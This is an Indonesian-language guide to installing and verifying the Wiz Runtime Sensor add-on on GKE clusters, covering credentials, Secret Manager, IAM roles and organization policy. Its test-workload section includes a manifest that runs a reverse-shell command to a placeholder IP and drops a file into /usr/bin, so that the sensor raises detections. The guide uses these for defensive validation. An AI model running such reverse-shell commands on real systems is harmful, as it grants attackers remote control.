Menginstal Sensor Runtime Wiz di cluster GKE

Sensor Wiz Runtime adalah komponen di platform inti Wiz yang menyediakan kemampuan deteksi dan respons ancaman real-time untuk workload runtime. Anda dapat menginstal Runtime Sensor di cluster Google Kubernetes Engine (GKE) sebagai add-on terkelola. Dokumen ini menunjukkan kepada administrator platform dan engineer keamanan cara menginstal add-on Runtime Sensor, mengonfigurasi akses ke platform Wiz, dan menerapkan penginstalan Runtime Sensor di seluruh organisasi, folder, atau project Anda.

Anda seharusnya sudah memahami Sensor Runtime Wiz.

Kapan harus menggunakan add-on Runtime Sensor

Metode penginstalan add-on terkelola adalah alternatif bawaan untuk menginstal Runtime Sensor menggunakan metode penginstalan seperti chart Helm. Add-on Runtime Sensor memiliki manfaat berikut:

  • GKE menginstal komponen dan mengelola sebagian besar tugas konfigurasi, yang mengurangi upaya dan kompleksitas penginstalan Sensor Runtime jika dibandingkan dengan penggunaan diagram Helm.
  • Anda dapat menggunakan Organization Policy Service untuk mewajibkan pengaktifan add-on di seluruh organisasi, folder, atau project Anda.
  • Add-on ini berjalan di cluster Autopilot dan bersama workload Autopilot di cluster Standard tanpa mengharuskan Anda menambahkan Sensor Runtime ke daftar yang diizinkan.
  • Setiap update pada komponen Runtime Sensor tidak bergantung pada upgrade versi patch GKE.

Anda juga dapat menginstal Runtime Sensor di cluster menggunakan diagram Helm. Jika menggunakan metode ini, Anda akan mendapatkan lebih banyak fleksibilitas untuk menyesuaikan konfigurasi sensor. Namun, metode ini memerlukan lebih banyak konfigurasi manual selama penginstalan dan lebih sulit diterapkan dalam skala besar jika dibandingkan dengan penggunaan add-on. Jika Anda menginstal Sensor Runtime menggunakan diagram Helm, komponen tidak dikelola oleh GKE. Jika Anda tidak menggunakan add-on GKE, laporkan masalah terkait Sensor Runtime, seperti error atau ketidakcocokan, langsung ke Wiz.

Cara kerjanya

Anda menginstal add-on di cluster tertentu menggunakan GKE API. Saat Anda mengaktifkan add-on, GKE akan membuat namespace gke-managed-wiz dan menginstal komponen Runtime Sensor. GKE memerlukan akses ke Wiz private container registry untuk menarik image untuk Sensor Runtime.

Setelah penginstalan, Runtime Sensor memerlukan akses ke Wiz API untuk mengirim informasi ke platform Wiz. Untuk memberi GKE dan Runtime Sensor akses yang diperlukan, berikan informasi berikut sebagai Secret di namespace gke-managed-wiz:

  • Kredensial untuk mengakses Wiz Container Registry dan menarik image Runtime Sensor.
  • Informasi konfigurasi untuk Sensor Runtime, seperti kredensial Wiz API dan variabel khusus lingkungan.

Anda dapat membuat Secret ini secara manual atau mengupload informasi ke Cloud de Confiance by S3NS Secret Manager, yang secara otomatis membuat Secret, mengganti versi sesuai jadwal berulang, dan meluncurkan update ke Secret yang di-deploy.

Harga

Add-on Wiz Runtime Sensor tersedia tanpa biaya tambahan di GKE. Pertimbangan berikut berlaku:

  • Anda harus memiliki lisensi Wiz Runtime Sensor yang aktif. Untuk mengetahui informasi selengkapnya, lihat Harga Wiz.
  • Komponen Runtime Sensor berjalan di node Anda dan menggunakan resource CPU dan memori, yang mungkin mengakibatkan lebih banyak node yang diperlukan untuk mengakomodasi semua Pod di cluster Anda.
  • Jika Anda menggunakan Secret Manager untuk menyimpan kredensial dan konfigurasi Wiz, harga Secret Manager akan berlaku.

Batasan

Batasan berikut berlaku untuk penggunaan add-on:

  • Jika Anda mengupdate kredensial API atau registry Wiz di Secret yang di-deploy, Anda harus memulai ulang DaemonSet Runtime Sensor secara manual menggunakan perintah kubectl rollout restart.
  • Untuk menginstal Runtime Sensor, Anda harus mengupload kredensial registry Wiz tenant Anda sebagai Secret Kubernetes atau ke Secret Manager.
  • Jika menggunakan node pribadi, Anda harus mengonfigurasi akses keluar ke registry container Wiz (registry.wiz.io) menggunakan Cloud NAT.
  • Add-on GKE terkelola hanya mendukung parameter konfigurasi opsional berikut untuk Sensor Runtime:
    • httpProxyConfiguration.httpsProxy
    • httpProxyConfiguration.caCertificate
    • httpProxyConfiguration.clientCertificate

Untuk menggunakan parameter konfigurasi lainnya, instal Runtime Sensor menggunakan diagram Helm.

Sebelum memulai

Sebelum memulai, pastikan Anda telah melakukan tugas berikut:

  • Aktifkan Google Kubernetes Engine API.
  • Aktifkan Google Kubernetes Engine API
  • Untuk menggunakan Google Cloud CLI untuk tugas ini, instal lalu lakukan inisialisasi gcloud CLI. Jika sebelumnya Anda telah menginstal gcloud CLI, dapatkan versi terbaru dengan menjalankan perintah gcloud components update. Versi gcloud CLI yang lebih lama mungkin tidak mendukung menjalankan perintah dalam dokumen ini.

Peran yang diperlukan

Untuk mengaktifkan dan mengonfigurasi add-on Sensor Runtime untuk GKE, Anda harus memiliki peran berikut di project Cloud de Confiance :

  • Mengonfigurasi cluster GKE: Kubernetes Engine Cluster Admin (roles/container.clusterAdmin) di project Cloud de Confiance .
  • Upload kredensial API dan file konfigurasi ke Secret Manager: Secret Manager Editor (roles/secretmanager.editor) di project Cloud de Confiance .
  • Berikan peran Identity and Access Management (IAM) ke ServiceAccount Kubernetes yang digunakan Runtime Sensor: Secret Manager Admin (roles/secretmanager.admin) di project Cloud de Confiance .
  • Mengonfigurasi kebijakan organisasi: Administrator Kebijakan Organisasi (roles/orgpolicy.policyAdmin) di organisasi Anda.

Anda juga harus memiliki akses ke tenant Wiz untuk mendapatkan kredensial untuk container registry Wiz dan membuat token OAuth untuk Wiz API.

Menyiapkan kredensial dan file konfigurasi Wiz

Untuk menginstal Sensor Runtime dan mengirim informasi ke platform Wiz, Anda harus memberikan kredensial untuk mengakses Wiz API dan Wiz private registry. Untuk menyiapkan informasi ini, ikuti langkah-langkah berikut:

  1. Temukan kredensial container registry Wiz Anda untuk registry registry.wiz.io.
  2. Buat string berenkode base64 yang berisi kredensial registry dalam struktur yang dapat diurai oleh Kubernetes:

    echo -n 'WIZ_REGISTRY_USERNAME:WIZ_REGISTRY_PASSWORD' | base64 | tr -d '\n'
    

    Ganti kode berikut:

    • WIZ_REGISTRY_USERNAME: nama pengguna untuk Wiz container registry.
    • WIZ_REGISTRY_PASSWORD: sandi untuk Container Registry Wiz.

    Outputnya mirip dengan hal berikut ini:

    aGVsbG86d29ybGQ=
    
  3. Simpan informasi sebagai file JSON:

    {
      "auths": {
        "registry.wiz.io": {
          "username": "WIZ_REGISTRY_USERNAME",
          "password": "WIZ_REGISTRY_PASSWORD",
          "auth": "BASE64_ENCODED_CREDENTIALS"
        }
      }
    }
    

    Ganti BASE64_ENCODED_CREDENTIALS dengan string yang dienkode dari langkah sebelumnya.

  4. Buat Akun Layanan Wiz dan salin informasi berikut:

    • Client ID, yang juga dapat Anda temukan di portal Wiz di halaman Service Accounts.
    • Rahasia klien, yang hanya terlihat saat Anda membuat Akun Layanan.
  5. Buat file konfigurasi YAML untuk Runtime Sensor:

    clientId: "WIZ_CLIENT_ID"
    clientToken: "WIZ_CLIENT_SECRET"
    clientEndpoint: "WIZ_CLIENT_ENDPOINT"
    

    Ganti kode berikut:

    • WIZ_CLIENT_ID: client ID untuk Akun Layanan.
    • WIZ_CLIENT_TOKEN: rahasia klien untuk Akun Layanan.
    • WIZ_CLIENT_ENDPOINT: URL token yang akan digunakan, yang bergantung pada tenant Wiz Anda.
  6. Opsional: Jika menggunakan proxy HTTP, Anda dapat mengonfigurasi Runtime Sensor untuk menggunakan server proxy. Buat file konfigurasi YAML untuk proxy:

    httpsProxy: "PROXY_URL"
    caCertificate: "CA_CERTIFICATE"
    clientCertificate: "CLIENT_CERTIFICATE"
    

    Ganti kode berikut:

    • PROXY_URL: URL proxy yang sepenuhnya memenuhi syarat, seperti https://proxy.example.com:8080.
    • CA_CERTIFICATE: sertifikat CA, dalam format PEM, dari server proxy. Jika server proxy Anda tidak menggunakan TLS, tentukan nilai kosong ("").
    • CLIENT_CERTIFICATE: sertifikat klien, dalam format PEM, dari server proxy. Jika server proxy Anda tidak menggunakan TLS, tentukan nilai kosong ("").

Membuat secret di Secret Manager

Bagian ini menunjukkan cara menyimpan berbagai file konfigurasi dan kredensial Wiz di Secret Manager. Anda dapat menentukan URI secret ini saat mengaktifkan add-on Sensor Runtime di cluster GKE. Secret Manager otomatis membuat Secret Kubernetes di namespace Wiz. Saat Anda memperbarui nilai di Secret Manager, Secret Kubernetes akan otomatis disinkronkan ulang untuk menggunakan nilai baru. Anda dapat melewati bagian ini dan membuat Secret secara manual di namespace gke-managed-wiz.

Untuk membuat secret di Secret Manager, ikuti langkah-langkah berikut:

  1. Simpan kredensial registry Wiz:

    1. Buat secret untuk menyimpan kredensial registry Wiz:

      gcloud secrets create wiz-image-pull-secret \
          --replication-policy="automatic" \
          --project="SECRET_PROJECT_ID"
      

      Ganti SECRET_PROJECT_ID dengan project ID dari project Cloud de Confiance untuk membuat secret.

    2. Simpan kredensial registry Wiz di secret wiz-image-pull-secret:

      gcloud secrets versions add wiz-image-pull-secret \
          --project="SECRET_PROJECT_ID" \
          --data-file=PATH_TO_CREDENTIALS_FILE
      

      Ganti PATH_TO_CREDENTIALS_FILE dengan jalur ke file JSON yang berisi kredensial registry Wiz.

  2. Simpan kredensial Runtime Sensor API:

    1. Buat secret untuk menyimpan kredensial Runtime Sensor API:

      gcloud secrets create wiz-api-key-secret \
          --replication-policy="automatic" \
          --project="SECRET_PROJECT_ID"
      
    2. Simpan kredensial Runtime Sensor API di wiz-api-key-secret secret:

      gcloud secrets versions add wiz-api-key-secret \
          --project="SECRET_PROJECT_ID" \
          --data-file=PATH_TO_CONFIG_FILE
      

      Ganti PATH_TO_CONFIG_FILE dengan jalur ke file YAML yang berisi kredensial Runtime Sensor API.

  3. Opsional: Simpan informasi konfigurasi untuk proxy Anda:

    1. Buat secret untuk menyimpan konfigurasi server proxy:

      gcloud secrets create wiz-sensor-proxy-secret \
          --replication-policy="automatic" \
          --project="SECRET_PROJECT_ID"
      
    2. Simpan konfigurasi server proxy di secret wiz-sensor-proxy-secret:

      gcloud secrets versions add wiz-sensor-proxy-secret \
          --project="SECRET_PROJECT_ID" \
          --data-file=PATH_TO_PROXY_FILE
      

      Ganti PATH_TO_PROXY_FILE dengan jalur ke file YAML yang berisi parameter konfigurasi proxy.

Memberi GKE akses ke Secret Manager

Untuk menyinkronkan informasi di Secret Manager sebagai Secret Kubernetes, berikan peran IAM Secret Manager Secret Accessor (roles/secretmanager.secretAccessor) pada secret yang Anda buat ke ServiceAccount Kubernetes wiz-sensor-secretsync-sa di namespace gke-managed-wiz. Saat Anda mengaktifkan add-on Sensor Runtime di cluster, GKE akan membuat ServiceAccount ini dan menggunakan identitas ServiceAccount untuk membuat Secret yang sesuai di namespace. Jika Anda berencana membuat Secret secara manual, bukan menggunakan Secret Manager, lewati bagian ini.

Langkah-langkah berikut menunjukkan cara memberikan peran yang diperlukan:

  1. Temukan nomor project project cluster Anda:

    gcloud projects describe CLUSTER_PROJECT_ID --format='value(projectNumber)'
    

    Outputnya mirip dengan 1234567890.

  2. Berikan peran pada secret wiz-image-pull-secret:

    gcloud secrets add-iam-policy-binding wiz-image-pull-secret \
        --project=SECRET_PROJECT_ID \
        --role="roles/secretmanager.secretAccessor" \
        --member="principal://iam.googleapis.com/projects/CLUSTER_PROJECT_NUMBER/locations/global/workloadIdentityPools/CLUSTER_PROJECT_ID.s3ns.svc.id.goog/subject/ns/gke-managed-wiz/sa/wiz-sensor-secretsync-sa"
    

    Ganti kode berikut:

    • SECRET_PROJECT_ID: project ID dari project yang berisi rahasia Anda.
    • CLUSTER_PROJECT_NUMBER: nomor project project cluster.
    • CLUSTER_PROJECT_ID: project ID dari project cluster.
  3. Berikan peran pada secret wiz-api-key-secret:

    gcloud secrets add-iam-policy-binding wiz-api-key-secret \
        --project=SECRET_PROJECT_ID \
        --role="roles/secretmanager.secretAccessor" \
        --member="principal://iam.googleapis.com/projects/CLUSTER_PROJECT_NUMBER/locations/global/workloadIdentityPools/CLUSTER_PROJECT_ID.s3ns.svc.id.goog/subject/ns/gke-managed-wiz/sa/wiz-sensor-secretsync-sa"
    
  4. Opsional: Jika Anda membuat secret yang berisi informasi proxy HTTP, berikan peran pada secret wiz-sensor-proxy-secret:

    gcloud secrets add-iam-policy-binding wiz-sensor-proxy-secret \
        --project=SECRET_PROJECT_ID \
        --role="roles/secretmanager.secretAccessor" \
        --member="principal://iam.googleapis.com/projects/CLUSTER_PROJECT_NUMBER/locations/global/workloadIdentityPools/CLUSTER_PROJECT_ID.s3ns.svc.id.goog/subject/ns/gke-managed-wiz/sa/wiz-sensor-secretsync-sa"
    

Mengaktifkan add-on Runtime Sensor untuk GKE

Setelah Anda membuat secret di Secret Manager dan memberikan peran yang diperlukan ke GKE pada secret tersebut, aktifkan add-on Sensor Runtime untuk cluster Anda. Anda dapat mengaktifkan add-on di cluster Standard atau Autopilot baru atau yang sudah ada. Langkah-langkah berikut menunjukkan cara mengaktifkan add-on dan mengonfigurasi sinkronisasi secret di cluster yang ada. Anda juga dapat menggunakan flag ini selama pembuatan cluster.

  1. Aktifkan sinkronisasi rahasia untuk cluster yang ada. Jika Anda berencana untuk membuat Secret secara manual, bukan menggunakan Secret Manager, lewati langkah ini.

    gcloud container clusters update CLUSTER_NAME \
        --project=CLUSTER_PROJECT_ID \
        --location=CONTROL_PLANE_LOCATION \
        --enable-secret-sync --enable-secret-sync-rotation
    

    Ganti kode berikut:

    • CLUSTER_NAME: nama cluster Anda.
    • CLUSTER_PROJECT_ID: project ID dari project cluster Anda.
    • CONTROL_PLANE_LOCATION: lokasi bidang kontrol cluster Anda.
  2. Aktifkan add-on dengan menjalankan salah satu perintah berikut. Jika Anda berencana membuat Secret secara manual, bukan menggunakan Secret Manager, tentukan hanya flag --addons dalam perintah ini.

    • Aktifkan add-on tanpa mengonfigurasi proxy HTTP:

      gcloud container clusters update CLUSTER_NAME \
          --project=CLUSTER_PROJECT_ID \
          --location=CONTROL_PLANE_LOCATION \
          --update-addons=WizSensor=ENABLED \
          --wiz-sensor-registry-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-image-pull-secret/versions/latest \
          --wiz-sensor-api-key-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-api-key-secret/versions/latest
      
    • Aktifkan add-on dan konfigurasi proxy HTTP:

      gcloud container clusters update CLUSTER_NAME \
          --project=CLUSTER_PROJECT_ID \
          --location=CONTROL_PLANE_LOCATION \
          --update-addons=WizSensor=ENABLED \
          --wiz-sensor-registry-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-image-pull-secret/versions/latest \
          --wiz-sensor-api-key-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-api-key-secret/versions/latest \
          --wiz-sensor-proxy-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-sensor-proxy-secret/versions/latest
      

Memverifikasi penginstalan

Untuk memverifikasi penginstalan add-on, ikuti langkah-langkah berikut:

  1. Dapatkan kredensial untuk menjalankan perintah kubectl di cluster:

    gcloud container clusters get-credentials CLUSTER_NAME \
        --location=CONTROL_PLANE_LOCATION \
        --project=CLUSTER_PROJECT_ID
    
  2. Periksa apakah namespace gke-managed-wiz ada:

    kubectl get namespace gke-managed-wiz
    

    Outputnya mirip dengan hal berikut ini:

    NAME              STATUS   AGE
    gke-managed-wiz   Active   76s
    
  3. Periksa apakah resource kustom Secret Manager ada di namespace:

    kubectl get secretproviderclass --namespace=gke-managed-wiz
    kubectl get secretsync --namespace=gke-managed-wiz
    

    Outputnya mirip dengan hal berikut ini:

    NAME                          AGE
    wiz-sensor-secrets-provider   76s
    wiz-sensor-apikey             76s
    wiz-sensor-imagepullkey       75s
    wiz-sensor-proxy              76s
    
  4. Periksa apakah Secret Kubernetes ada:

    kubectl get secrets --namespace=gke-managed-wiz
    

    Outputnya mirip dengan hal berikut ini:

    NAME                      TYPE                              DATA   AGE
    wiz-sensor-apikey         Opaque                            3      76s
    wiz-sensor-imagepullkey   kubernetes.io/dockerconfigjson    1      75s
    
  5. Periksa status DaemonSet Sensor Runtime:

    kubectl get daemonset --namespace=gke-managed-wiz
    

    Outputnya mirip dengan hal berikut ini:

    NAME        DESIRED   CURRENT   READY   UP-TO-DATE   AVAILABLE   NODE SELECTOR   AGE
    wiz-sensor  1         1         1       1            1           <none>          76s
    

    Output ini menunjukkan bahwa Runtime Sensor sudah siap dan tersedia.

  6. Periksa log startup dan koneksi Pod Runtime Sensor:

    kubectl logs -n gke-managed-wiz daemonset/wiz-sensor --tail=100
    

    Outputnya mirip dengan hal berikut ini:

    {"fields":{"defs_commit":"","defs_version":"0.0.0","message":"version","sensor_version":"1.0.12402 (CMT_6dda526 2026-09-11T15:51:34-04:00)"},"level":"INFO","timestamp":"2026-09-24T17:06:32.982+00:00"}
    {"fields":{"message":"starting content update"},"level":"INFO","timestamp":"2026-09-24T17:06:33.304+00:00"}
    {"fields":{"message":"ending content update - new content downloaded"},"level":"INFO","timestamp":"2026-09-24T17:06:34.215+00:00"}
    {"fields":{"defs_commit":"4cf39a653","defs_version":"1.0.6125","message":"version","sensor_version":"1.0.12402 (CMT_6dda526 2026-09-11T15:51:34-04:00)"},"level":"INFO","timestamp":"2026-09-24T17:06:34.372+00:00"}
    {"fields":{"env":{"ALLOWED_CONTROLLER_API_GROUPS":"[\"\",\"apps\",\"batch\",\"argoproj.io\",\"sparkoperator.k8s.io\",\"ray.io\",\"tekton.dev\",\"composer.cloud.google.com\",\"kafka.strimzi.io\",\"actions.github.com\"]","ALLOW_KUBELET_COMMUNICATION":"false","BACKEND_ENV":"prod","CRI_SOCKET_CUSTOM_PATH":"","HELM_CHART_COMPAT_VER":"1","HELM_CHART_VERSION":"1.0.11492","HTTP_PROXY_URL":"","JSON":"true","LOG_FILE":"/wiz-sensor-store/sensor.log","RAMFS_STORE":"/tmp/","SENSOR_CLUSTER_NAME":"CLUSTER_NAME","STDOUT_LOG":"error","TMP_STORE":"/wiz-sensor-store/"},"hash":"daa946af4dd7eb728495e752bb35399749ad2c2c","message":"Wiz Sensor env config"},"level":"INFO","timestamp":"2026-09-24T17:09:24.844+00:00"}
    {"fields":{"defs_commit":"4cf39a653","defs_version":"1.0.6125","message":"version","sensor_version":"1.0.12402 (CMT_6dda526 2026-09-11T15:51:34-04:00)"},"level":"INFO","timestamp":"2026-09-24T17:09:25.249+00:00"}
    {"fields":{"major":6,"message":"kernel version","minor":12,"patch":94},"level":"INFO","timestamp":"2026-09-24T17:09:25.277+00:00"}
    {"fields":{"delay":{"nanos":0,"secs":0},"message":"sensor start delay secs","range":0},"level":"INFO","timestamp":"2026-09-24T17:09:34.994+00:00"}
    

Men-deploy workload pengujian

Untuk memeriksa apakah koneksi ke portal Wiz berfungsi, ikuti langkah-langkah berikut:

  1. Simpan manifes Deployment berikut sebagai file YAML:

    apiVersion: apps/v1
    kind: Deployment
    metadata:
      name: demo-nginx
      namespace: default
    spec:
      replicas: 1
      selector:
        matchLabels:
          app: demo-nginx
      template:
        metadata:
          labels:
            app: demo-nginx
        spec:
          containers:
          - name: nginx
            image: nginx:1.15.6
            command: ["/bin/bash", "-c"]
            args:
            - |
              # Trigger background reverse shell attempt
              (timeout 5 bash -i >& /dev/tcp/10.0.0.1/4444 0>&1) &
              # Trigger image drift file modification
              touch /usr/bin/malicious_test_file
              # Start Nginx
              exec nginx -g "daemon off;"
            ports:
            - containerPort: 80
    

    Deployment ini membuat Pod yang menyimulasikan serangan reverse shell.

  2. Membuat Deployment:

    kubectl apply -f PATH_TO_MANIFEST
    

    Ganti PATH_TO_MANIFEST dengan jalur ke file manifes Deployment.

  3. Di Wiz Portal, buka halaman Threats.

  4. Dalam tabel ancaman, cari temuan ancaman untuk upaya reverse shell.

Menerapkan penginstalan add-on menggunakan kebijakan organisasi

Anda dapat menerapkan penginstalan add-on Runtime Sensor di beberapa cluster di seluruh organisasi, folder, atau project menggunakan Kebijakan Organisasi. Buat batasan kustom yang memiliki properti berikut:

  • Resource: container.googleapis.com/Cluster
  • Kondisi: resource.addonsConfig.wizSensor.enabled == false
  • Tindakan: DENY

Untuk mengetahui informasi selengkapnya tentang cara mengonfigurasi batasan kustom yang memiliki properti ini, lihat Membatasi tindakan pada resource GKE menggunakan kebijakan organisasi kustom.

Langkah berikutnya